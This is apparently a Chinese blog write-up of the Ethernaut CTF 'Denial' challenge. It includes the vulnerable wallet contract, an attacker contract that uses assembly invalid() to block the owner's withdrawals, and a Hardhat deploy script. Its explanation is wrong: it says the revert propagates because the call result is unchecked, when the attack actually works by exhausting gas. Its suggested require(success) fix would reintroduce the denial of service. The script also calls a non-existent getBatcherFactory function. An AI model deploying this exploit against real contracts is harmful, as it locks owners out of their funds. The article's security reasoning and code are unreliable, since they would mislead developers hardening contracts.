Skip to content
On this page

Ethernaut CTF 深度解析:Denial 挑战——巧妙利用合约漏洞阻止提款!

智能合约的世界,安全是永恒的命题。Ethernaut 是一个经典的 Solidity CTF(夺旗赛)平台,旨在通过实战挑战,帮助开发者发现和理解智能合约中的常见漏洞。今天,我们将深入探讨其中一个引人入胜的关卡——Denial (拒绝服务)

挑战背景:Drip 钱包的“拒绝”之战

想象你面前是一个看似简单的“Drip 钱包”合约。它的设计初衷是随着时间推移,缓慢地向外“滴落”资金。作为提款伙伴 (withdrawing partner),你可以分批提取这些资金。然而,这个挑战的目标并非是让你顺利提款,而是要求你完成一个看似不可能的任务:

目标:在合约仍有资金、且交易 Gas 限制在 1M 或更少的情况下,阻止合约所有者 (owner) 成功调用 withdraw() 函数进行提款。

这意味着,你需要通过某种机制,使得即使合约所有者尝试提款,他们的交易也会失败。这无疑是一场对智能合约交互逻辑和漏洞利用的深刻考验。

漏洞合约 Denial.sol 剖析

我们首先来仔细审视这个 Drip 钱包合约 Denial.sol 的代码:

solidity
contract Denial {
    address public partner; // 提款伙伴
    address public constant owner = address(0xA9E); // 合约所有者
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // 记录伙伴余额

    // 设置提款伙伴
    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // 提款函数:1% 给伙伴,1% 给所有者
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100; // 计算提款金额
        // 执行一个 call,不检查返回值。
        // 接收方可以回滚,但所有者仍会收到份额
        partner.call{value: amountToSend}(""); // <<< 核心漏洞点 1
        payable(owner).transfer(amountToSend); // <<< 核心漏洞点 2,我们想阻止它
        
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // 允许存款
    receive() external payable {}

    // 便捷函数
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

合约的关键在于 withdraw() 函数。它的逻辑是:

  1. 计算要提款的金额 (amountToSend),通常是合约总余额的 1%。
  2. 通过 partner.call{value: amountToSend}("");partner 地址发送这笔金额。
  3. 通过 payable(owner).transfer(amountToSend);owner 地址发送相同金额。

核心漏洞点就在于 partner.call{value: amountToSend}(""); 这一行!

  • 它向 partner 地址发送以太币,并触发 partner 地址的 receive()fallback() 函数(如果 partner 是一个合约)。
  • 然而,它却没有检查 call 的返回值! call 操作会返回一个 (bool success, bytes data) 元组,表明调用是否成功。Denial 合约在设计时,刻意忽略了 success 这个布尔值。注释中甚至写明:“The recipient can revert, the owner will still get their share”。

这句话给出了一个误导:它声称即使 partner 接收方回滚,owner 仍能获得份额。但事实并非如此简单!

攻击策略制定:利用未检查的外部调用

现在,我们的目标是阻止 owner.transfer(amountToSend) 这一行代码的执行。要达到这个目的,我们需要让整个 withdraw() 交易回滚。

既然 partner.call 没有检查返回值,我们可以利用这一点。如果我们将自己(一个攻击者合约)设置为 Denial 合约的 partner,并在 partner.call 发生时,强制我们的合约回滚,会发生什么?

核心思路是:

  1. 成为提款伙伴: 调用 setWithdrawPartner(),将我们的攻击合约地址设置为 Denial 合约的 partner
  2. 强制回滚:Denial 合约尝试通过 partner.call{value: amountToSend}(""); 向我们的攻击合约发送以太币时,我们的攻击合约的 receive() 函数会被触发。我们可以在这个 receive() 函数中故意引发一个回滚。

如果攻击合约的 receive() 函数在执行 partner.call 时回滚,并且这个回滚没有被 Denial 合约捕获(因为它没有检查 callsuccess 状态),那么这个回滚会蔓延到整个 Denial.withdraw() 交易。最终结果就是:owner.transfer() 永远无法执行,且整个交易失败!

解决方案 Hack.sol 揭秘

基于上述策略,我们构建了 Hack.sol 攻击合约:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDenial {
    function partner() external view returns (address);
    function owner() external pure returns (address);
    function setWithdrawPartner(address) external;
    function withdraw() external;
    function contractBalance() external view returns (uint256);
}

contract Hack {
    IDenial private immutable target;

    constructor(address _target) {
        target = IDenial(_target);
        target.setWithdrawPartner(address(this)); // <<< 1. 将自己设置为提款伙伴
    }

    receive() external payable {
        assembly {
            invalid() // <<< 2. 强制回滚并消耗所有 Gas
        }
    }
}

这个 Hack 合约非常简洁而高效:

  1. 构造函数 (constructor):

    • 在部署 Hack 合约时,我们传入 Denial 合约的地址。
    • 然后,它立即调用 target.setWithdrawPartner(address(this));,将 Hack 合约自身的地址设置为 Denial 合约的 partner
  2. receive() external payable 函数:

    • 这是当有以太币发送到 Hack 合约时,会被自动执行的特殊函数。
    • 核心代码是 assembly { invalid() }。这条 Yul 汇编指令的作用是:
      • 立即终止当前执行。
      • 回滚整个交易。
      • 消耗掉所有剩余的 Gas。

Denial 合约的所有者调用 withdraw() 时:

  • Denial 合约会尝试执行 partner.call{value: amountToSend}("");
  • 此时 partner 是我们的 Hack 合约,它的 receive() 函数被触发。
  • receive() 中的 assembly { invalid() } 立即执行,导致 partner.call 内部发生回滚,并消耗掉所有 Gas。
  • 由于 Denial 合约没有检查 call 的返回值,它无法捕获这个内部回滚。因此,这个回滚会向上传播,导致整个 Denial.withdraw() 交易失败。
  • 最终,payable(owner).transfer(amountToSend); 永远不会被执行,挑战成功!

部署与验证

提供的 98_test_denial.ts 脚本展示了如何部署攻击合约:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Denial, Hack } from "../typechain-types";

describe("Denial", function () {
  describe("Denial testnet online sepolia", function () {
    it("testnet online sepolia Denial", async function () {

      const DENIAL_ADDRESS = "0x..."; // 替换为目标 Denial 合约地址

      const HackFactory = await ethers.getBatcherFactory("Hack");
      const hack = (await HackFactory.deploy(DENIAL_ADDRESS)) as Hack; // 部署 Hack 合约
      await hack.waitForDeployment(); // 等待部署完成
    });
  });
});

部署 Hack 合约后,其构造函数会自动将自身注册为 Denial 合约的 partner。此后,任何尝试调用 Denial.withdraw() 的交易都将因为 Hack 合约的 receive() 强制回滚而失败,从而实现拒绝服务。

安全启示

Denial 挑战生动地揭示了智能合约开发中的一个关键安全原则:

  1. 外部调用返回值检查的重要性: 永远不要盲目信任外部合约的调用结果。call 操作的返回值 (bool success, bytes data) 必须被检查。如果 successfalse,应该根据业务逻辑进行适当的错误处理,例如回滚交易或记录错误。
    • 正确做法通常是: (bool success, ) = partner.call{value: amountToSend}(""); require(success, "Partner call failed");
  2. 拒绝服务(DoS)攻击的变种: 这种攻击是一种典型的拒绝服务攻击。攻击者通过利用合约的漏洞,阻止了合法用户(这里是合约所有者)执行其预期操作。
  3. 信任边界管理: 当合约与外部地址(尤其是可以由用户控制的地址)交互时,必须极其小心。将一个不可信的地址设置为 partner,而又不对其行为进行校验,是导致此漏洞的根本原因。

Ethernaut 的 Denial 挑战是一个绝佳的案例,提醒我们在构建去中心化应用时,必须对每一步交互、每一个外部调用都保持高度警惕和审慎。只有充分理解这些潜在的攻击面,我们才能构建出更健壮、更安全的智能合约。

Built with AiAda